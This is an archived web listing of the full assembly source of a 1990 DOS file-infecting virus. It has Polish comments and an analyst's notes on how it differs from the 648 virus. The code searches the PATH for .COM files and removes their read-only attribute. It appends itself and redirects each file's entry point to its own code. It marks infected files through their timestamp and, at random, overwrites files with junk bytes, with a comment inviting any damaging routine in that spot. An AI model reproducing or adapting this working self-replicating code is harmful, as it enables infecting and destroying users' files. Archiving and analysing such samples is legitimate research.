home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / 583VIRUS.ASM < prev    next >
Assembly Source File  |  1990-09-30  |  14KB  |  325 lines

  1. ; Kod ªródÆowy wirusa nieznanego autorstwa. Widoczne så silne wpÆywy 648.
  2. ; Dodano wÆasne komentarze wskazujåce na róºnice miædzy tå wersjå i oryginaÆem.
  3. ; Komentarze te poprzedzane så znakami AK:.
  4. ; Tekst znaleziony na dysku komputera FIDO w PC Kurierze 28 wrze₧nia 1990.
  5.  
  6. comment ;
  7. **********************************************************
  8. wszystkie adresy w programie sa uzywane jako wzgledne
  9. do rejestru si ,nie mozna urzywac adresow bezwzglednych
  10. jako offset poniewaz po 'doklejeniu sie do programu
  11. moze on byc w roznych miejscach
  12. **********************************************************
  13. ;
  14. adr_baz   equ  offset stare_DTA             ;adres bazowy poczatku zmiennych
  15.                                                                            ;w programie wzgledem niego beda
  16.                                                                            ;obliczane przesuniecia pol zmiennych
  17. start_prg equ  100h                         ;adres poczatku programu typu .com
  18. ofst_rozk equ offset rozkazy - adr_baz ;przsuniecie pola rozkazy
  19. get_dta_addr  equ    2fh                    ;funkcja dos pobranie adresu DTA
  20. msdos    equ 21h
  21. write    equ 40h
  22. wirus_len     equ    DTA + 43 - start
  23.  
  24. code    segment byte public 'code'
  25.         assume  cs:code,ds:code,es:code
  26.  
  27.         org     100h
  28.  
  29. st1:          jmp short start
  30.  
  31.         int     msdos
  32.  
  33. start:  mov     dx,offset stare_DTA
  34.         cld                                 ;ustawienie kierunku przesylania
  35.               mov    si,dx                                                 ;poczatek zmiennych programu
  36.               add    si,ofst_rozk                                          ;adres pola rozkazy
  37.               mov    di,100h                                               ;adres pod ktorym jest poczatek programu
  38.               mov    cx,3                                                  ;ilosc bajtow do przeslania
  39.               repz   movsb                                                 ;odtworzenie starego poczatku
  40.  
  41.               mov    si,dx                                                 ;odtworzenie si
  42.  
  43. ; AK: pominiæto badanie wersji DOS
  44.  
  45.               push   es                                                    ;zachowanie es bo bedzie zmieniane
  46.               mov    ah,get_dta_addr        ;pobierz adres DTA
  47.               int    msdos
  48.               mov    [si],bx                                               ;zapamietanie adresu DTA w polu
  49.               mov    [si+2],es              ;stare_DTA
  50.               pop    es                                                    ;odtworzenie es
  51.  
  52.               mov    dx,5Fh                                                ;adres pola DTA
  53.               add    dx,si
  54.               mov    ah,1Ah                                                ;ustaw adres DTA   ds:dx
  55.               int    msdos
  56.  
  57. ; AK: zmieniona jest kolejno₧ì instrukcji, teraz do przechowania SI uºyto
  58. ; DX zamiast stosu
  59.  
  60.               push   es                                                    ;zachowanie es
  61.               push   si                                                    ;zachowaj si
  62.               add    si,1ah                                                ;adres tekstu PATH=
  63.               mov    dx,si
  64.               mov    es,ds:[2Ch]            ;adres srodowiska set
  65.  
  66. ; AK: w oryginale jest to PUSH SI, POP SI
  67.  
  68.               mov    di,0
  69.  
  70. szukaj_dalej:
  71.               mov    si,dx
  72.               lodsb  
  73.               mov    cx,8000h               ;dlugosc srodowiska
  74.               repnz  scasb                                                 ;szukanie litery P
  75.               mov    cx,4                                                  ;dlugosc reszty   ATH=
  76.  
  77. porownuj:
  78.               lodsb  
  79.               scasb  
  80.               jnz    szukaj_dalej
  81.               loop   porownuj
  82.  
  83.               pop    si                                                    ;odtworz rejestry
  84.               pop    es
  85.  
  86.               mov    [si+16h],di            ;adres pierwszego bajtu za PATH=
  87.               mov    di,si
  88.               add    di,1Fh                 ;adres bufora dla nazwy zbioru
  89.               mov    bx,si
  90.               jmp short dalej
  91.  
  92. nast_sciezka:
  93.               cmp word ptr[si+16h],0        ;czy koniec path
  94.               jnz    l1                                                    ;nie
  95.  
  96.               jmp    exit1                                                 ;zakoncz nie ma wiecej zbiorow
  97.  
  98. l1:           push   ds
  99.               push   si
  100.               mov    ds,es:[2Ch]            ;urzywamy es: bo ds bedzie modyfikowany
  101.               mov    di,si
  102.               mov    si,es:[di+16h]
  103.               add    di,1Fh
  104.  
  105. next:         lodsb                                                        ;zaladuj kolejny znak sciezki dostepu
  106.               cmp    al,';'                                                ;czy koniec definicji scierzki
  107.               jz     koniec_sciezki
  108.               cmp    al,0                                                  ;czy koniec lancucha path
  109.               jz     koniec_set
  110.               stosb                                                        ;przepisz znak do bufora
  111.               jmp short next
  112.  
  113. koniec_set:
  114.               mov    si,0
  115. koniec_sciezki:
  116.               pop    bx
  117.               pop    ds
  118.               mov    [bx+16h],si            ;adres do ktorego przeszukano path
  119.               cmp byte ptr [di-1],'\'       ;czy scierzka zakonczona przez \
  120.               jz     dalej
  121.               mov    al,'\'
  122.               stosb                                                        ;dopisz \
  123.  
  124. dalej:        mov    [bx+18h],di
  125.               mov    si,bx
  126.               add    si,10h
  127.               mov    cx,6
  128.               repz   movsb                                                 ;przepisanie *.com \0
  129.               mov    si,bx
  130.               mov    ah,4Eh                                                ;find first
  131.               mov    dx,1Fh
  132.               add    dx,si
  133.               mov    cx,3                                                  ;ukryty tylko do odczytu
  134.               int    msdos
  135.               jmp short czy_jest
  136.  
  137. szuk_nast:
  138.               mov    ah,4Fh                                                ;find next
  139.               int    msdos
  140.  
  141. czy_jest:
  142.               jnc    jest
  143.  
  144.               jmp short nast_sciezka
  145.  
  146. jest:         mov    ax,[si+75h]            ;pole zawierajace czas w DTA
  147.               and    al,1Fh                                                ;czy sa 62 sekundy 
  148.               cmp    al,1Fh
  149.  
  150.               jz     szuk_nast
  151.               cmp word ptr [si+79h],0FA00h
  152.               ja     szuk_nast              ;jesli zbyt dlugi
  153.               cmp word ptr [si+79h],10
  154.               jc     szuk_nast
  155.  
  156.               mov    di,[si+18h]
  157.               push   si
  158.               add    si,7Dh
  159. kopiuj:
  160.               lodsb                                                        ;kopiuje nazwe zbioru
  161.               stosb                                                        ;nazwa w postaci ASCIIZ
  162.               cmp    al,0                                                  ;czy koniec nazwy
  163.               jnz    kopiuj
  164.               pop    si
  165.  
  166.               mov    ax,4300h               ;pobierz atrybuty zbioru
  167.               mov    dx,1Fh
  168.               add    dx,si
  169.               int    msdos
  170.               mov    [si+8],cx              ;zapamietanie atrybutow
  171.  
  172.               mov    ax,4301h               ;ustaw atrybuty
  173.               and    cx,0FFFEh              ;usuwa ewentualne r/o
  174.               mov    dx,1Fh
  175.               add    dx,si
  176.               int    msdos
  177.  
  178.               mov    ax,3D02h                                              ;otwarcie zbioru
  179.               mov    dx,1Fh
  180.               add    dx,si
  181.               int    msdos
  182.  
  183.               jnc    l2                                                    ;czy poprawne otwarcie
  184.  
  185.               jmp    exit2
  186.  
  187. l2:           mov    bx,ax
  188.               mov    ax,5700h               ;pobierz czas i date powstania zbioru
  189.               int    msdos
  190.               mov    [si+4],cx              ;czas
  191.               mov    [si+6],dx              ;data
  192.  
  193.               mov    ah,2Ch                                                ;pobierz czas systemowy
  194.               int    msdos
  195.  
  196.               and    dh,7                                                  ;sekundy
  197.               jnz    zostaw
  198.  
  199. comment ;
  200. **********************************************************
  201. tutaj mozna umiescic dowolna procedure uszkadzajaca zbior
  202. ta wywolywana jest losowo jesli ostatnie trzy bity sekund
  203. zegara systemu sa rowne zero np. 8,16,24 itd.
  204. **********************************************************
  205. ;
  206.               mov    ah,write                                              ;zapis do zbioru
  207.               mov    cx,5                                                  ;pieciu bajtow lezacych
  208.               mov    dx,si                                                 ;juz poza programem czyli
  209.               add    dx,8Ah                 ;faktycznie dowolnych
  210.               int    msdos
  211.               jmp    exit3
  212.  
  213. ;*********************************************************
  214. ;koniec procedury uszkadzajacej zbior
  215. ;*********************************************************
  216.  
  217. zostaw:       mov    ah,3Fh                                                ;odczyt trzech pierwszych
  218.               mov    cx,3                                                  ;bajtow z pliku
  219.               mov    dx,ofst_rozk           ;do pola rozkazy
  220.               add    dx,si
  221.               int    msdos
  222.  
  223.               jc     exit3                                                 ;jesli byl blad czytania
  224.               
  225.               cmp    ax,3                                                  ;czy odczytano dokladnie
  226.               jnz    exit3                                                 ;trzy bajty
  227.  
  228.               mov    ax,4202h               ;przewiniecie zbioru na koniec
  229.               mov    cx,0
  230.               mov    dx,0
  231.               int    msdos
  232.  
  233.               jc     exit3                                                 ;jesli blad
  234.  
  235.               mov    cx,ax                                                 ;w ax dlugosc zbioru
  236.               sub    ax,3
  237. ;obiczanie przesuniecia dla skoku do poczatku wirusa
  238. ;jest to adres konca zbioru minus 3 poniewaz 
  239. ;jmp jest trzy bajtowy
  240.  
  241.               mov    [si+0Eh],ax            ;zapis adresu w polu skok
  242.  
  243.               add    cx,adr_baz - start + start_prg
  244. ;obliczanie adresu poczatku danych (tego ktory jest w si)
  245. ;jest to adres pola stare_DTA + 100h przesuniecia programu
  246.  
  247.               mov    di,si
  248.               sub    di,adr_baz - start - 1
  249.               mov    [di],cx                                               ;zapisanie adresu bezposrednio w pole
  250.                                                                            ;w pole rozkazu mov dx,offset
  251.  
  252.               mov    ah,write                                              ;dopisanie wirusa na koniec
  253.               mov    cx,wirus_len           ;dlugosc wirusa
  254.               mov    dx,si
  255.               sub    dx,adr_baz - start     ;obliczenie adresu poczatku wirusa
  256.               int    msdos
  257.  
  258.               jc     exit3                                                 ;jesli blad
  259.               cmp    ax,wirus_len           ;czy zapisano calego wirusa
  260.               jnz    exit3
  261.  
  262.               mov    ax,4200h               ;przewiniecie zbioru na poczatek
  263.               mov    cx,0
  264.               mov    dx,0
  265.               int    msdos
  266.  
  267.               jc     exit3                                                 ;jesli blad
  268.  
  269.               mov    ah,write                                              ;zapis jmp do wirusa
  270.               mov    cx,3                                                  ;na poczatku
  271.               mov    dx,si
  272.               add    dx,0Dh                                                ;pole skok
  273.               int    msdos
  274.  
  275. exit1:        mov    dx,[si+6]              ;data
  276.               mov    cx,[si+4]              ;czas
  277.               or     cx,1Fh                                                ;zaznaczenie ze zbior jest zarazony
  278.                                                                            ;ilosc sekund = 62
  279.  
  280.               mov    ax,5701h               ;zapis daty i czasu do zbioru
  281.               int    msdos
  282.  
  283.               mov    ah,3Eh                                                ;zamkniecie zbioru
  284.               int    msdos
  285.  
  286. exit2:        mov    ax,4301h               ;ustawienie atrybutow
  287.               mov    cx,[si+8]              ;stare atrybuty
  288.               mov    dx,001Fh
  289.               add    dx,si
  290.               int    msdos
  291.  
  292. exit3:        push   ds
  293.               mov    ah,1Ah                                                ;ustaw adres DTA
  294.               mov    dx,[si+0]              ;pole stare_DTA
  295.               mov    ds,es:[si+2]
  296.               int    msdos
  297.  
  298.               pop    ds
  299.  
  300.               xor    ax,ax                                                 ;zerowanie rejestrow
  301.               xor    bx,bx
  302.               xor    dx,dx
  303.               xor    si,si
  304.               mov    di,0100h               ;na stos adres startu
  305.               push   di
  306.               xor    di,di
  307.               ret    
  308.  
  309. stare_DTA     dd     0
  310. czas_zb              dw                     0
  311. data_zb              dw                     0
  312. attr_zb              dw                     0
  313. rozkazy              db                     0b4h,4ch,0cdh
  314. skok                 db                     0e9h,0,0                       ;kod rozkazu jmp
  315. zbior                db                     '*.com',0
  316. srodow               dw                     0                                  ;adres srodowiska set
  317. bufor                dw                     0                                  ;wskaznik do nazwy zbioru
  318. path                 db                     'PATH='
  319. nazwa_zb      db     63 dup(0)              ;pole na nazwe zbioru
  320. DTA                  db                     43 dup(0)                      ;pole dta
  321.  
  322. code          ends
  323.               end   st1
  324. 
  325.